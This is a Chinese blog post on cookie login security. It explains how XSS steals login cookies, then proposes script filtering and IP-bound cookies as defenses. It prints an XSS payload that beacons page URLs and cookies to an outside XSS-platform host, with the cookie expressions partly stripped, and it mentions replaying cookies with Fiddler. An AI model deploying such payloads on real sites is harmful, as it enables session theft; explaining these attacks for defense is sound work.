一些你不知道到Cookie安全登录防范

本文作者:IMWeb 谢华良 原文出处:IMWeb社区 未经同意,禁止转载

作为一个web开发者,避免不了用户登录功能,但是有多少知道用户登录的一些安全防范技术呢?

一般的菜鸟只知道把用户信息保存到Cookie即可,登录只管判断Cookie是否存在,凭借着cookie值的存在情况来判断用户是否登录,更有一些甚至把用户密码也保存在Cookie中,这是极其危险的,人家要搞你分分钟可以模拟你的Cookie来登录你的用户,做一些危险的事情。 1、攻击者怎么拿到你的登录的Cookie值。 现在各种攻击技术,目前我只了解XSS攻击方式,就在前一段时间,我自己建立了一个自己的@前端社区) 在群里面讨论遇到了一个大神,做过一个XSS攻击的测试,他在我的社区里面发布了一篇博客,里面嵌入了XSS攻击脚步,脚步代码如下: (function(){(new Image()).src='http://xss.sssie.com/index.php?do=api&id=RQTPpx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return }catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.sssie.com/index.php?do=keepsession&id=RQTPpx&url='+escape(document.location)+'&cookie='+escape()}; 这段代码,是通过第三方XSS平台来的,不过目前有许多的免费XSS平台,自己也可以搭建一个。 通过嵌入以上脚步,只要用户登录了自己的帐号,一旦浏览了攻击者发布的博客,即攻击成功,XSS第三方平台里面发送有关我登录的Cookie给攻击者,这样你登录的Cookie值立马给窃取,是不是很危险呢? 2、攻击者模拟Cookie登录 做过后台开发的人都知道怎么模拟Cookie信息去登录,除非是菜鸟,这个我就不多说了, 不过不会后台开发的人,会使用一些工具,比如Fiddler 就很容易把Cookie信息模拟登录了,这里就不一一讲述实现过程了 仅仅通过简单的模拟用户的Cookie就可以分分种使用你的帐号登录了,并做一些危险的动作,比如删除你的东西,以及更多危险的操作。 到了这里是不是觉得很危险?接下来我来讲述怎么防止这种模拟 以下讲述两点防止的方法: 1、网站本身做一些脚步拦截,以及脚步检验工作 比如web站点使用过富文本,一般富文本默认都会对脚本进行拦截,但是有些需要是需要开启这个用户引用脚步的,针对这些就的对用户输入引用的脚本做安全的验证工作,检查风险性,对于风险脚步进行拦截处理,不让提交等。这样就可以在用户输入层避免了XSS攻击的来源了 2、Cookie层本身做正确性校验 后台判断是否登录做严格的验证校验工作,不仅仅只判断Cookie是否存在,而要做严格的正确性验证,这里我提供以下IP校验的方式来验证是否是有效登录。 可以把用户请求的IP值和用户的唯一ID做一个特殊加密处理,这样Cookie信息中包含了用户登录的IP地址,这是很多大型网站都是这样做的安全登录,大家应该见过一些金融产品,如果换了一个网络,是不是提示要重新登录呢?这就是根据IP地址校验来防止攻击。 Cookie值中保存了用户的IP值,这样每次登录的时候判断IP地址和当前请求的IP地址是否一致,如果一致则通过验证,IP不一致则说明是异常登录,验证不通过。

总结:目前Cookie模拟登录安全防范就已经完结了,谢谢大家的支持, 转载请注明原创地址 http://www.jqsite.com/notes/1604068878.html

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏ytkah

微信公众平台新增获取自动回复和自定义菜单配置接口

  微信公众平台自动回复功能可以为运营者减少了重复回复消息的次数,但如果自动回复的数量多的话管理就比较麻烦;自定义菜单相当于你这个公众号的导航,但有些公众号会限...

1.4K4
来自专栏从零开始学自动化测试

appium+python自动化35-adb devices死活连不上

启动adb 1.打开cmd首次使用adb devices,出现下面这两句,就是正在启动adb服务 C:\Users\admin>adb devices List...

3906
来自专栏云鼎实验室的专栏

Linux Redis自动化挖矿感染蠕虫分析及安全建议

5204
来自专栏架构师之路

无线APP日志上报优化实践

昨天,和大家讨论了无线APP时代如何进行DNS速度优化,今天和大家一起讨论一下无线时代的日志上报流量优化。 缘起:无线时代,APP流量敏感,为了统计APP内用户...

62216
来自专栏老九学堂

初识DOS

一、什么是DOS DOS是英文“Disk Operating System”的缩写,意思是磁盘操作系统。它与Windows一样都是属于操作系统,但没有Windo...

3795
来自专栏FreeBuf

ossec入侵检测日志行为分析

上次说写的ossec连载,不幸因为工作太忙夭折了,最近缓过神来决定补上第2篇,言归正传,ossec的功能主要是为了防御及抓坏人,但因为攻防之间本来就信息不对称所...

55510
来自专栏后台全栈之路

Linux 内核中 Kconfig 文件的作用和添加 menuconfig 项的方法

嵌入式开发中,需要定制或添加一些内核的功能。这里就需要配置 Kconfig 文件了。本文简单说明一下如何修改。便于需要时查找

2305
来自专栏Android 开发者

Android P 开发者预览版支持 DNS over TLS

3283
来自专栏smy

微信支付授权目录填写规则

微信内使用微信支付有时会遇到如下错误: 当前页面的url未注册http://xxx  这是因为当前支付页所在的公众号没有认证并开通微信支付,如果开通了那就需要到...

3936
来自专栏木子昭的博客

简单三步, 免费建立Git私用仓库

代码需要备份, 而Github的私用仓库又实在太贵,推荐一个好东西Bitbucket Bitbucket的优势 支持中文界面 仓库私有,数量无限制,而且免...

2945

扫码关注云+社区

领取腾讯云代金券